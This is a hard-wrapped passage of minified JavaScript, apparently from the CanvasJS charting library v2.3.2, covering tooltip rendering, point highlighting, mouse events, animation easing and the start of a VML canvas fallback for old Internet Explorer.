b--:m.dataPoint.y[c]>m.dataSeries.axisY.viewportMaximum&&b+
+;b<m.dataPoint.y.length&&b>-
m.dataPoint.y.length&&g.push(m)}else"column"===e.type||"bar"===e.type?
0>m.dataPoint.y?
0>m.dataSeries.axisY.viewportMinimum&&m.dataSeries.axisY.viewportMaximum>=m.dataPoi
nt.y&&g.push(m):m.dataSeries.axisY.viewportMinimum<=m.dataPoint.y&&0<=m.dataSeries.
axisY.viewportMaximum&&g.push(m):"bubble"===e.type?
(b=this.chart._eventManager.objectMap[e.dataPointIds[m.index]].size/2,m.dataPoint.y
>=m.dataSeries.axisY.viewportMinimum-
b&&m.dataPoint.y<=m.dataSeries.axisY.viewportMaximum+b&&g.push(m)):"waterfall"===e.
type?(b=0,m.cumulativeSumYStartValue<m.dataSeries.axisY.viewportMinimum?
b--:m.cumulativeSumYStartValue>m.dataSeries.axisY.viewportMaximum&&b+
+,m.cumulativeSum<m.dataSeries.axisY.viewportMinimum?
b--:m.cumulativeSum>m.dataSeries.axisY.viewportMaximum&&b++,2>b&&-2<b&&g.push(m)):
(0<=m.dataSeries.type.indexOf("100")||"stackedColumn"===e.type||"stackedBar"===e.ty
pe||
m.dataPoint.y>=m.dataSeries.axisY.viewportMinimum&&m.dataPoint.y<=m.dataSeries.axis
Y.viewportMaximum)&&g.push(m);else g.push(m)}}if(0<g.length)
{if(this.highlightObjects(g),this.enabled)if(b="",b=this.getToolTipInnerHTML({entri
es:g}),null!==b){this.contentDiv.innerHTML=b;b=!
1;"none"===this.container.style.display&&(b=!
0,this.container.style.display="block");try{this.contentDiv.style.background=this.b
ackgroundColor?
this.backgroundColor:r?"rgba(255,255,255,.9)":"rgb(255,255,255)",this.borderColor="
waterfall"===g[0].dataSeries.type?
this.contentDiv.style.borderRightColor=this.contentDiv.style.borderLeftColor=this.c
ontentDiv.style.borderColor=this.options.borderColor?
this.options.borderColor:g[0].dataPoint.color?
g[0].dataPoint.color:0<g[0].dataPoint.y?
g[0].dataSeries.risingColor:g[0].dataSeries.fallingColor:"error"===g[0].dataSeries.
type?
this.contentDiv.style.borderRightColor=this.contentDiv.style.borderLeftColor=this.c
ontentDiv.style.borderColor=this.options.borderColor?
this.options.borderColor:g[0].dataSeries.color?
g[0].dataSeries.color:g[0].dataSeries._colorSet[e.index
%g[0].dataSeries._colorSet.length]:this.contentDiv.style.borderRightColor=this.cont
entDiv.style.borderLeftColor=this.contentDiv.style.borderColor=this.options.borderC
olor?this.options.borderColor:g[0].dataPoint.color?
g[0].dataPoint.color:g[0].dataSeries.color?
g[0].dataSeries.color:g[0].dataSeries._colorSet[g[0].index
%g[0].dataSeries._colorSet.length],this.contentDiv.style.borderWidth=this.borderThi
ckness||0===this.borderThickness?
this.borderThickness+"px":"2px",this.contentDiv.style.borderRadius=this.cornerRadiu
s||0===this.cornerRadius?
this.cornerRadius+"px":"5px",this.container.style.borderRadius=this.contentDiv.styl
e.borderRadius,this.contentDiv.style.fontSize=t
his.fontSize||0===this.fontSize?
this.fontSize+"px":"14px",this.contentDiv.style.color=this.fontColor?
this.fontColor:"#000000",this.contentDiv.style.fontFamily=this.fontFamily?
this.fontFamily:"Calibri, Arial, Georgia,
serif;",this.contentDiv.style.fontWeight=this.fontWeight?
this.fontWeight:"normal",this.contentDiv.style.fontStyle=this.fontStyle?
this.fontStyle:r?"italic":"normal"}catch(p)
{}"pie"===g[0].dataSeries.type||"doughnut"===g[0].dataSeries.type||"funnel"===g[0].
dataSeries.type||"pyramid"===g[0].dataSeries.type||"bar"===g[0].dataSeries.type||"r
angeBar"===g[0].dataSeries.type||"stackedBar"===g[0].dataSeries.type||"stackedBar10
0"===g[0].dataSeries.type?a=a-10-this.container.clientWidth:
(a=g[0].dataSeries.axisX.convertValueToPixel(g[0].dataPoint.x)-
this.container.clientWidth<<0,a-
=10);0>a&&(a+=this.container.clientWidth+20);a+this.container.clientWidth>Math.max(
this.chart.container.clientWidth,this.chart.width)&&(a=Math.max(0,Math.max(this.cha
rt.container.clientWidth,this.chart.width)-this.container.clientWidth));d=1!
==g.length||this.shared||"line"!==g[0].dataSeries.type&&"stepLine"!
==g[0].dataSeries.type&&"spline"!==g[0].dataSeries.type&&"area"!
==g[0].dataSeries.type&&"stepArea"!==g[0].dataSeries.type&&"splineArea"!
==g[0].dataSeries.type?"bar"===g[0].dataSeries.type||"rangeBar"===g[0].dataSeries.t
ype||"stackedBar"===g[0].dataSeries.type||"stackedBar100"===g[0].dataSeries.type?
g[0].dataSeries.axisX.convertValueToPixel(g[0].dataPoint.x):d:g[0].dataSeries.axisY
.convertValueToPixel(g[0].dataPoint.y);d=-
d+10;0<d+this.container.clientHeight+5&&(d-=d+this.container.clientHeight+5-
0);this.fixMozTransitionDelay(a,d);!this.animationEnabled||b?
this.disableAnimation():
(this.enableAnimation(),this.container.style.MozTransition=this.mozContainerTransit
ion);this.container.style.left=a+"px";this.container.style.bottom=d+"px"}else
this.hide(!1)}else this.hide()}};$.prototype.highlightObjects=function(a){var
d=this.chart.overlaidCanvasCtx;this.chart.resetOverlayedCanvas();d.clearRect(0,0,th
is.chart.width,this.chart.height);d.save();var
b=this.chart.plotArea,c=0;d.beginPath();d.rect(b.x1,b.y1,b.x2-b.x1,b.y2-
b.y1);d.clip();for(b=0;b<a.length;b++){var
e=a[b];if((e=this.chart._eventManager.objectMap[e.dataSeries.dataPointIds[e.index]]
)&&e.objectType&&"dataPoint"===e.objectType){var
c=this.chart.data[e.dataSeriesIndex],g=c.dataPoints[e.dataPointIndex],k=e.dataPoint
Index;!1===g.highlightEnabled||!0!==c.highlightEnabled&&!0!==g.highlightEnabled||
("line"===c.type||"stepLine"===c.type||"spline"===c.type||"scatter"===c.type||"area
"===c.type||"stepArea"===c.type||"splineArea"===c.type||"stackedArea"===c.type||"st
ackedArea100"===c.type||"rangeArea"===c.type||"rangeSplineArea"===c.type?
(g=c.getMarkerProperties(k,e.x1,e.y1,this.chart.overlaidCanvasCtx),g.size=Math.max(
1.5*g.size<<0,10),g.borderColor=g.borderColor||"#FFFFFF",g.borderThickness=g.border
Thickness||Math.ceil(0.1*g.size),ia.drawMarkers([g]),"undefined"!==typeof
e.y2&&(g=c.getMarkerProperties(k,e.x1,e.y2,this.chart.overlaidCanvasCtx),g.size=Mat
h.max(1.5*g.size<<0,10),g.borderColor=g.borderColor||"#FFFFFF",g.borderThickness=g.
borderThickness||Math.ceil(0.1*g.size),ia.drawMarkers([g]))):"bubble"===c.type?
(g=c.getMarkerProperties(k,e.x1,e.y1,this.chart.overlaidCanvasCtx),g.size=e.size,g.
color="white",g.borderColor="white",d.globalAlpha=0.3,ia.drawMarkers([g]),d.globalA
lpha=1):"column"===c.type||"stackedColumn"===c.type||"stackedColumn100"===c.type||"
bar"===c.type||"rangeBar"===c.type||"stackedBar"===c.type||"stackedBar100"===c.type
||"rangeColumn"===c.type||"waterfall"===c.type?
ea(d,e.x1,e.y1,e.x2,e.y2,"white",0,null,!1,!1,!1,!
1,0.3):"pie"===c.type||"doughnut"===c.type?
ja(d,e.center,e.radius,"white",c.type,e.startAngle,e.endAngle,0.3,e.percentInnerRad
ius):"funnel"===c.type||"pyramid"===c.type?
ra(d,e.funnelSection,0.3,"white"):"candlestick"===c.type?
(d.globalAlpha=1,d.strokeStyle=e.color,d.lineWidth=2*e.borderThickness,c=0===d.line
Width%2?0:0.5,d.beginPath(),d.moveTo(e.x3-c,Math.min(e.y2,e.y3)),d.lineTo(e.x3-
c,Math.min(e.y1,e.y4)),d.stroke(),d.beginPath(),d.moveTo(e.x3-
c,Math.max(e.y1,e.y4)),d.lineTo(e.x3-
c,Math.max(e.y2,e.y3)),d.stroke(),ea(d,e.x1,Math.min(e.y1,e.y4),e.x2,Math.max(e.y1,
e.y4),"transparent",2*e.borderThickness,e.color,!1,!1,!1,!
1),d.globalAlpha=1):"ohlc"===c.type?
(d.globalAlpha=1,d.strokeStyle=e.color,d.lineWidth=2*e.borderThickness,c=0===d.line
Width%2?0:0.5,d.beginPath(),d.moveTo(e.x3-c,e.y2),d.lineTo(e.x3-
c,e.y3),d.stroke(),d.beginPath(),d.moveTo(e.x3,e.y1),d.lineTo(e.x1,e.y1),d.stroke()
,d.beginPath(),d.moveTo(e.x3,e.y4),d.lineTo(e.x2,e.y4),d.stroke(),d.globalAlpha=1):
"boxAndWhisker"===c.type?
(d.save(),d.globalAlpha=1,d.strokeStyle=e.stemColor,d.lineWidth=2*e.stemThickness,0
<e.stemThickness&&(d.beginPath(),d.moveTo(e.x3,e.y2+e.borderThickness/2),d.lineTo(e
.x3,e.y1+e.whiskerThickness/2),d.stroke(),d.beginPath(),d.moveTo(e.x3,e.y4-
e.whiskerThickness/2),d.lineTo(e.x3,e.y3-
e.borderThickness/2),d.stroke()),d.beginPath(),ea(d,e.x1-
e.borderThickness/2,Math.max(e.y2+e.borderThickness/2,e.y3+e.borderThickness/2),e.x
2+e.borderThickness/2,Math.min(e.y2-e.borderThickness/2,e.y3-
e.borderThickness/2),"transparent",e.borderThickness,e.color,!1,!1,!1,!
1),d.globalAlpha=1,d.strokeStyle=e.whiskerColor,d.lineWidth=2*e.whiskerThickness,0<
e.whiskerThickness&&(d.beginPath(),d.moveTo(Math.floor(e.x3-
e.whiskerLength/2),e.y4),d.lineTo(Math.ceil(e.x3+e.whiskerLength/2),e.y4),d.stroke(
),d.beginPath(),d.moveTo(Math.floor(e.x3-
e.whiskerLength/2),e.y1),d.lineTo(Math.ceil(e.x3+e.whiskerLength/2),e.y1),d.stroke(
)),d.globalAlpha=1,d.strokeStyle=e.lineColor,d.lineWidth=2*e.lineThickness,0<e.line
Thickness&&(d.beginPath(),d.moveTo(e.x1,e.y5),d.lineTo(e.x2,e.y5),d.stroke()),d.res
tore(),d.globalAlpha=1):"error"===c.type&&E(d,e.x1,e.y1,e.x2,e.y2,"white",e.whisker
Properties,e.stemProperties,e.isXYSwapped,0.3))}}d.restore();d.globalAlpha=1;d.begi
nPath()};$.prototype.getToolTipInnerHTML=function(a){a=a.entries;for(var
d=null,b=null,c=null,e=0,g="",k=!0,h=0;h<a.length;h+
+)if(a[h].dataSeries.toolTipContent||a[h].dataPoint.toolTipContent){k=!
1;break}if(k&&(this.content&&"function"===typeof this.content||
this.contentFormatter))a={chart:this.chart,toolTip:this.options,entries:a},d=this.c
ontentFormatter?this.contentFormatter(a):this.content(a);else
if(this.shared&&"none"!==this.chart.plotInfo.axisPlacement){for(var
p=null,m="",h=0;h<a.length;h+
+)b=a[h].dataSeries,c=a[h].dataPoint,e=a[h].index,g="",0===h&&(k&&!
this.content)&&(this.chart.axisX&&0<this.chart.axisX.length?m+="undefined"!==typeof
this.chart.axisX[0].labels[c.x]?
this.chart.axisX[0].labels[c.x]:"{x}":this.chart.axisX2&&0<this.chart.axisX2.length
&&(m+="undefined"!==typeof this.chart.axisX2[0].labels[c.x]?
this.chart.axisX2[0].labels[c.x]:"{x}"),m+="</br>",m=this.chart.replaceKeywordsWith
Value(m,c,b,e)),null===c.toolTipContent||"undefined"===typeof
c.toolTipContent&&null===b.options.toolTipContent||
("line"===b.type||"stepLine"===b.type||"spline"===b.type||"area"===b.type||"stepAre
a"===b.type||"splineArea"===b.type||"column"===b.type||"bar"===b.type||"scatter"===
b.type||"stackedColumn"===b.type||"stackedColumn100"===b.type||"stackedBar"===b.typ
e||"stackedBar100"===b.type||"stackedArea"===b.type||"stackedArea100"===b.type||"wa
terfall"===b.type?(this.chart.axisX&&1<this.chart.axisX.length&&(g+=p!
=b.axisXIndex?b.axisX.title?b.axisX.title+"<br/>":"X:
{axisXIndex}<br/>":""),g+=c.toolTipContent?c.toolTipContent:b.toolTipContent?
b.toolTipContent:this.content&&"function"!==typeof this.content?this.content:"<span
style='\""+(this.options.fontColor?"":"'color:{color};'")
+"\"'>{name}:</span>&nbsp;&nbsp;{y}",p=b.axisXIndex):"bubble"===b.type?
(this.chart.axisX&&1<this.chart.axisX.length&&(g+=p!=b.axisXIndex?b.axisX.title?
b.axisX.title+"<br/>":"X:{axisXIndex}<br/>":""),g+=c.toolTipContent?
c.toolTipContent:b.toolTipContent?b.toolTipContent:this.content&&"function"!
==typeof this.content?this.content:"<span style='\""+
(this.options.fontColor?"":"'color:{color};'")+"\"'>{name}:</span>&nbsp;&nbsp;{y},
&nbsp;&nbsp;
{z}"):"rangeColumn"===b.type||"rangeBar"===b.type||"rangeArea"===b.type||"rangeSpli
neArea"===b.type||"error"===b.type?
(this.chart.axisX&&1<this.chart.axisX.length&&(g+=p!=b.axisXIndex?b.axisX.title?
b.axisX.title+"<br/>":"X:{axisXIndex}<br/>":""),g+=c.toolTipContent?
c.toolTipContent:b.toolTipContent?b.toolTipContent:this.content&&"function"!
==typeof this.content?this.content:"<span style='\""+
(this.options.fontColor?"":"'color:{color};'")+"\"'>{name}:</span>&nbsp;&nbsp;
{y[0]},&nbsp;{y[1]}"):"candlestick"===b.type||"ohlc"===b.type?
(this.chart.axisX&&1<this.chart.axisX.length&&(g+=p!=b.axisXIndex?b.axisX.title?
b.axisX.title+"<br/>":"X:{axisXIndex}<br/>":""),g+=c.toolTipContent?
c.toolTipContent:b.toolTipContent?b.toolTipContent:this.content&&"function"!
==typeof this.content?this.content:"<span style='\""+
(this.options.fontColor?"":"'color:{color};'")+"\"'>{name}:</span><br/>Open:
&nbsp;&nbsp;{y[0]}<br/>High: &nbsp;&nbsp;&nbsp;{y[1]}<br/>Low:&nbsp;&nbsp;&nbsp;
{y[2]}<br/>Close: &nbsp;&nbsp;
{y[3]}"):"boxAndWhisker"===b.type&&(this.chart.axisX&&1<this.chart.axisX.length&&(g
+=p!=b.axisXIndex?b.axisX.title?b.axisX.title+"<br/>":"X:
{axisXIndex}<br/>":""),g+=c.toolTipContent?c.toolTipContent:b.toolTipContent?
b.toolTipContent:this.content&&"function"!==typeof this.content?this.content:"<span
style='\""+(this.options.fontColor?"":"'color:{color};'")
+"\"'>{name}:</span><br/>Minimum: &nbsp;&nbsp;{y[0]}<br/>Q1:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp
;{y[1]}<br/>Q2:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp
;{y[4]}<br/>Q3:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp
;{y[2]}<br/>Maximum: &nbsp;{y[3]}"),null===d&&(d=""),!0===this.reversed?
(d=this.chart.replaceKeywordsWithValue(g,c,b,e)+d,h<a.length-1&&(d="</br>"+d)):
(d+=this.chart.replaceKeywordsWithValue(g,c,b,e),h<a.length-1&&(d+="</br>")));null!
==d&&(d=m+d)}else{b=a[0].dataSeries;c=a[0].dataPoint;e=a[0].index;if
(null===c.toolTipContent||"undefined"===typeof
c.toolTipContent&&null===b.options.toolTipContent)return
null;"line"===b.type||"stepLine"===b.type||"spline"===b.type||"area"===b.type||"ste
pArea"===b.type||"splineArea"===b.type||"column"===b.type||"bar"===b.type||"scatter
"===b.type||"stackedColumn"===b.type||"stackedColumn100"===b.type||"stackedBar"===b
.type||"stackedBar100"===b.type||"stackedArea"===b.type||"stackedArea100"===b.type|
|"waterfall"===b.type?g=c.toolTipContent?c.toolTipContent:b.toolTipContent?
b.toolTipContent:this.content&&"function"!==typeof this.content?this.content:"<span
style='\""+(this.options.fontColor?"":"'color:{color};'")+"\"'>"+
(c.label?"{label}":"{x}")+":</span>&nbsp;&nbsp;{y}":"bubble"===b.type?
g=c.toolTipContent?c.toolTipContent:b.toolTipContent?
b.toolTipContent:this.content&&"function"!==typeof this.content?this.content:"<span
style='\""+(this.options.fontColor?"":"'color:{color};'")+"\"'>"+
(c.label?"{label}":"{x}")+":</span>&nbsp;&nbsp;{y}, &nbsp;&nbsp;
{z}":"pie"===b.type||"doughnut"===b.type||"funnel"===b.type||"pyramid"===b.type?
g=c.toolTipContent?c.toolTipContent:b.toolTipContent?
b.toolTipContent:this.content&&"function"!==typeof this.content?this.content:"<span
style='\""+(this.options.fontColor?"":"'color:{color};'")+"\"'>"+
(c.name?"{name}:</span>&nbsp;&nbsp;":c.label?"{label}:</span>&nbsp;&nbsp;":"</span>
")
+"{y}":"rangeColumn"===b.type||"rangeBar"===b.type||"rangeArea"===b.type||"rangeSpl
ineArea"===b.type||"error"===b.type?g=c.toolTipContent?
c.toolTipContent:b.toolTipContent?b.toolTipContent:this.content&&"function"!
==typeof this.content?this.content:"<span style='\""+
(this.options.fontColor?"":"'color:{color};'")+"\"'>"+(c.label?"{label}":"{x}")
+" :</span>&nbsp;&nbsp;{y[0]}, &nbsp;
{y[1]}":"candlestick"===b.type||"ohlc"===b.type?g=c.toolTipContent?
c.toolTipContent:b.toolTipContent?b.toolTipContent:this.content&&"function"!
==typeof this.content?this.content:"<span style='\""+
(this.options.fontColor?"":"'color:{color};'")+"\"'>"+(c.label?"{label}":"{x}")
+"</span><br/>Open: &nbsp;&nbsp;{y[0]}<br/>High: &nbsp;&nbsp;&nbsp;{y[1]}<br/>Low:
&nbsp;&nbsp;&nbsp;&nbsp;{y[2]}<br/>Close: &nbsp;&nbsp;
{y[3]}":"boxAndWhisker"===b.type&&(g=c.toolTipContent?
c.toolTipContent:b.toolTipContent?b.toolTipContent:this.content&&"function"!
==typeof this.content?this.content:"<span style='\""+
(this.options.fontColor?"":"'color:{color};'")+"\"'>"+(c.label?"{label}":"{x}")
+"</span><br/>Minimum: &nbsp;&nbsp;{y[0]}<br/>Q1:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp
;{y[1]}<br/>Q2:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp
;{y[4]}<br/>Q3:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp
;{y[2]}<br/>Maximum: &nbsp;
{y[3]}");null===d&&(d="");d+=this.chart.replaceKeywordsWithValue(g,c,b,e)}return
d};$.prototype.enableAnimation=function(){if(!
this.container.style.WebkitTransition){var
a=this.getContainerTransition(this.containerTransitionDuration);this.container.styl
e.WebkitTransition=a;this.container.style.MsTransition=a;this.container.style.trans
ition=a;this.container.style.MozTransition=this.mozContainerTransition}};
$.prototype.disableAnimation=function()
{this.container.style.WebkitTransition&&(this.container.style.WebkitTransition="",t
his.container.style.MozTransition="",this.container.style.MsTransition="",this.cont
ainer.style.transition="")};$.prototype.hide=function(a)
{this.container&&(this.container.style.display="none",this.currentSeriesIndex=-
1,this._prevY=this._prevX=NaN,("undefined"===typeof a||
a)&&this.chart.resetOverlayedCanvas())};$.prototype.show=function(a,d,b)
{this._updateToolTip(a,d,"undefined"===typeof b?!1:b)};
$.prototype.fixMozTransitionDelay=function(a,d)
{if(20<this.chart._eventManager.lastObjectId)this.mozContainerTransition=this.getCo
ntainerTransition(0);else{var b=parseFloat(this.container.style.left),b=isNaN(b)?
0:b,c=parseFloat(this.container.style.bottom),c=isNaN(c)?
0:c;10<Math.sqrt(Math.pow(b-a,2)+Math.pow(c-d,2))?
this.mozContainerTransition=this.getContainerTransition(0.1):this.mozContainerTrans
ition=this.getContainerTransition(0)}};
$.prototype.getContainerTransition=function(a){return"left "+a+"s ease-out 0s,
bottom "+a+"s ease-out 0s"};ha.prototype.reset=function()
{this.lastObjectId=0;this.objectMap=[];this.rectangularRegionEventSubscriptions=[];
this.previousDataPointEventObject=null;this.eventObjects=[];r&&(this.ghostCtx.clear
Rect(0,0,this.chart.width,this.chart.height),this.ghostCtx.beginPath())};ha.prototy
pe.getNewObjectTrackingId=function(){return+
+this.lastObjectId};ha.prototype.mouseEventHandler=function(a)
{if("mousemove"===a.type||"click"===a.type){var
d=[],b=Ra(a),c=null;if((c=this.chart.getObjectAtXY(b.x,b.y,!1))&&"undefined"!
==typeof this.objectMap[c])if(c=this.objectMap[c],"dataPoint"===c.objectType){var
e=this.chart.data[c.dataSeriesIndex],g=e.dataPoints[c.dataPointIndex],h=c.dataPoint
Index;c.eventParameter={x:b.x,y:b.y,dataPoint:g,dataSeries:e.options,dataPointIndex
:h,dataSeriesIndex:e.index,chart:this.chart};c.eventContext={context:g,userContext:
g,mouseover:"mouseover",mousemove:"mousemove",mouseout:"mouseout",click:"click"};d.
push(c);c=this.objectMap[e.id];c.eventParameter={x:b.x,y:b.y,dataPoint:g,dataSeries
:e.options,dataPointIndex:h,dataSeriesIndex:e.index,chart:this.chart};c.eventContex
t={context:e,userContext:e.options,mouseover:"mouseover",mousemove:"mousemove",mous
eout:"mouseout",click:"click"};d.push(this.objectMap[e.id])}else"legendItem"===c.ob
jectType&&(e=this.chart.data[c.dataSeriesIndex],g=null!==c.dataPointIndex?
e.dataPoints[c.dataPointIndex]:null,c.eventParameter={x:b.x,y:b.y,dataSeries:e.opti
ons,dataPoint:g,dataPointIndex:c.dataPointIndex,dataSeriesIndex:c.dataSeriesIndex,c
hart:this.chart},c.eventContext={context:this.chart.legend,userContext:this.chart.l
egend.options,mouseover:"itemmouseover",mousemove:"itemmousemove",mouseout:"itemmou
seout",click:"itemclick"},d.push(c));e=[];for(b=0;b<this.mouseoveredObjectMaps.leng
th;b++){g=!0;for(c=0;c<d.length;c++)if(d[c].id===this.mouseoveredObjectMaps[b].id)
{g=!1;break}g?
this.fireEvent(this.mouseoveredObjectMaps[b],"mouseout",a):e.push(this.mouseoveredO
bjectMaps[b])}this.mouseoveredObjectMaps=e;for(b=0;b<d.length;b++){e=!
1;for(c=0;c<this.mouseoveredObjectMaps.length;c+
+)if(d[b].id===this.mouseoveredObjectMaps[c].id){e=!0;break}e||
(this.fireEvent(d[b],"mouseover",a),this.mouseoveredObjectMaps.push(d[b]));"click"=
==a.type?
this.fireEvent(d[b],"click",a):"mousemove"===a.type&&this.fireEvent(d[b],"mousemove
",a)}}};ha.prototype.fireEvent=function(a,d,b){if(a&&d){var
c=a.eventParameter,e=a.eventContext,g=a.eventContext.userContext;g&&(e&&g[e[d]])&&g
[e[d]].call(g,c);"mouseout"!==d?g.cursor&&g.cursor!
==b.target.style.cursor&&(b.target.style.cursor=g.cursor):
(b.target.style.cursor=this.chart._defaultCursor,delete a.eventParameter,delete
a.eventContext);"click"===d&&("dataPoint"===a.objectType&&this.chart.pieDoughnutCli
ckHandler)&&this.chart.pieDoughnutClickHandler.call(this.chart.data[a.dataSeriesInd
ex],c);"click"===d&&("dataPoint"===a.objectType&&this.chart.funnelPyramidClickHandl
er)&&this.chart.funnelPyramidClickHandler.call(this.chart.data[a.dataSeriesIndex],c
)}};ga.prototype.animate=function(a,d,b,c,e){var g=this;this.chart.isAnimating=!
0;e=e||M.easing.linear;b&&this.animations.push({startTime:(new Date).getTime()+(a?
a:0),duration:d,animationCallback:b,onComplete:c});for(a=[];0<this.animations.lengt
h;)if(d=this.animations.shift(),b=(new
Date).getTime(),c=0,d.startTime<=b&&(c=e(Math.min(b-
d.startTime,d.duration),0,1,d.duration),c=Math.min(c,1),isNaN(c)||!
isFinite(c))&&(c=1),1>c&&a.push(d),d.animationCallback(c),1<=c&&d.onComplete)d.onCo
mplete();this.animations=a;0<this.animations.length?
this.animationRequestId=this.chart.requestAnimFrame.call(window,function()
{g.animate.call(g)}):this.chart.isAnimating=!
1};ga.prototype.cancelAllAnimations=function()
{this.animations=[];this.animationRequestId&&this.chart.cancelRequestAnimFrame.call
(window,this.animationRequestId);this.animationRequestId=null;this.chart.isAnimatin
g=!1};var M={yScaleAnimation:function(a,d){if(0!==a){var
b=d.dest,c=d.source.canvas,e=d.animationBase;b.drawImage(c,0,0,c.width,c.height,0,e
-e*a,b.canvas.width/W,a*b.canvas.height/W)}},xScaleAnimation:function(a,d){if(0!
==a){var
b=d.dest,c=d.source.canvas,e=d.animationBase;b.drawImage(c,0,0,c.width,c.height,e-
e*a,0,a*b.canvas.width/W,b.canvas.height/W)}},xClipAnimation:function(a,d){if(0!
==a){var
b=d.dest,c=d.source.canvas;b.save();0<a&&b.drawImage(c,0,0,c.width*a,c.height,0,0,c
.width*a/W,c.height/W);b.restore()}},fadeInAnimation:function(a,d){if(0!==a){var
b=d.dest,c=d.source.canvas;b.save();b.globalAlpha=a;b.drawImage(c,0,0,c.width,c.hei
ght,0,0,b.canvas.width/W,b.canvas.height/W);b.restore()}},easing:
{linear:function(a,d,b,c){return b*a/c+d},easeOutQuad:function(a,d,b,c){return-
b*(a/=c)*(a-2)+d},easeOutQuart:function(a,d,b,c){return-b*((a=a/c-1)*a*a*a-
1)+d},easeInQuad:function(a,d,b,c){return
b*(a/=c)*a+d},easeInQuart:function(a,d,b,c){return
b*(a/=c)*a*a*a+d}}},ia={drawMarker:function(a,d,b,c,e,g,h,l){if(b){var
p=1;b.fillStyle=g?g:"#000000";b.strokeStyle=h?h:"#000000";b.lineWidth=l?
l:0;b.setLineDash&&b.setLineDash(R("solid",l));"circle"===c?
(b.moveTo(a,d),b.beginPath(),b.arc(a,d,e/2,0,2*Math.PI,!1),g&&b.fill(),l&&(h?
b.stroke():
(p=b.globalAlpha,b.globalAlpha=0.15,b.strokeStyle="black",b.stroke(),b.globalAlpha=
p))):"square"===c?(b.beginPath(),b.rect(a-e/2,d-e/2,e,e),g&&b.fill(),l&&(h?
b.stroke():
(p=b.globalAlpha,b.globalAlpha=0.15,b.strokeStyle="black",b.stroke(),b.globalAlpha=
p))):"triangle"===c?(b.beginPath(),b.moveTo(a-
e/2,d+e/2),b.lineTo(a+e/2,d+e/2),b.lineTo(a,d-e/2),b.closePath(),g&&b.fill(),l&&(h?
b.stroke():
(p=b.globalAlpha,b.globalAlpha=0.15,b.strokeStyle="black",b.stroke(),b.globalAlpha=
p)),b.beginPath()):"cross"===c&&(b.strokeStyle=g,b.lineWidth=e/4,b.beginPath(),b.mo
veTo(a-e/2,d-e/2),b.lineTo(a+e/2,d+e/2),b.stroke(),b.moveTo(a+e/2,d-
e/2),b.lineTo(a-e/2,d+e/2),b.stroke())}},drawMarkers:fu
nction(a){for(var d=0;d<a.length;d++){var
b=a[d];ia.drawMarker(b.x,b.y,b.ctx,b.type,b.size,b.color,b.borderColor,b.borderThic
kness)}}};return p}();Na.Chart.version="v2.3.2 GA"})
();document.createElement("canvas").getContext||function(){function V(){return
this.context_||(this.context_=new C(this))}function W(a,b,c){var
g=M.call(arguments,2);return function(){return
a.apply(b,g.concat(M.call(arguments)))}}function N(a){return
String(a).replace(/&/g,"&amp;").replace(/"/g,"&quot;")}function O(a)
{a.namespaces.g_vml_||a.namespaces.add("g_vml_","urn:schemas-microsoft-
com:vml","#default#VML");a.namespaces.g_o_||a.namespaces.add("g_o_","urn:schemas-
microsoft-com:office:office","#default#VML");a.styleSheets.ex_canvas_||
(a=a.createStyleSheet(),a.owningElement.id="ex_canvas_",a.cssText="canvas{display:i
nline-block;overflow:hidden;text-align:left;width:300px;height:150px}")}function
X(a){var b=a.srcElement;switch(a.propertyName)
{case"width":b.getContext().clearRect();b.style.width=b.attributes.width.nodeValue+
"px";b.firstChild.style.width=b.clientWidth+"px";break;case"height":b.getContext().
clearRect(),b.style.height=b.attributes.height.nodeValue+"px",b.firstChild.style.he
ight=b.clientHeight+"px"}}function Y(a)
{a=a.srcElement;a.firstChild&&(a.firstChild.style.width=a.clientWidth+"px",a.firstC
hild.style.height=a.clientHeight+"px")}function D(){return[[1,0,0],[0,1,0],
[0,0,1]]}function t(a,b){for(var c=D(),g=0;3>g;g++)for(var e=0;3>e;e++){for(var
f=0,d=0;3>d;d++)f+=a[g][d]*b[d][e];c[g][e]=f}return c}function P(a,b)
{b.fillStyle=a.fillStyle;b.lineCap=a.lineCap;b.lineJoin=a.lineJoin;b.lineWidth=a.li
neWidth;b.miterLimit=a.miterLimit;b.shadowBlur=a.shadowBlur;b.shadowColor=a.shadowC
olor;b.shadowOffsetX=a.shadowOffsetX;b.shadowOffsetY=a.shadowOffsetY;b.strokeStyle=
a.strokeStyle;b.globalAlpha=a.globalAlpha;b.font=a.font;b.textAlign=a.textAlign;b.t
extBaseline=a.textBaseline;b.arcScaleX_=a.arcScaleX_;b.arcScaleY_=a.arcScaleY_;b.li
neScale_=a.lineScale_}function Q(a){var
b=a.indexOf("(",3),c=a.indexOf(")",b+1),b=a.substring(b+1,c).split(",");if(4!
=b.length||"a"!=a.charAt(3))b[3]=1;return b}function E(a,b,c){return
Math.min(c,Math.max(b,a))}function F(a,b,c){0>c&&c++;1<c&&c--;return 1>6*c?a+6*(b-
a)*c:1>2*c?b:2>3*c?a+6*(b-a)*(2/3-c):a}function G(a){if(a in H)return H[a];var
b,c=1;a=String(a);if("#"==a.charAt(0))b=a;else if(/^rgb/.test(a))
{c=Q(a);b="#";for(var g,e=0;3>e;e++)g=-1!=c[e].indexOf("%")?
Math.floor(255*(parseFloat(c[e])/100)):+c[e],b+=v[E(g,0,255)];c=+c[3]}else
if(/^hsl/.test(a)){e=c=Q(a);b=parseFloat(e[0])/360%360;0>b&&b+
+;g=E(parseFloat(e[1])/100,0,1);e=E(parseFloat(e[2])/100,0,1);if(0==g)g=e=b=e;else{
var f=0.5>e?e*(1+g):e+g-e*g,d=2*e-f;g=F(d,f,b+1/3);e=F(d,f,b);b=F(d,f,b-
1/3)}b="#"+v[Math.floor(255*g)]+v[Math.floor(255*e)]
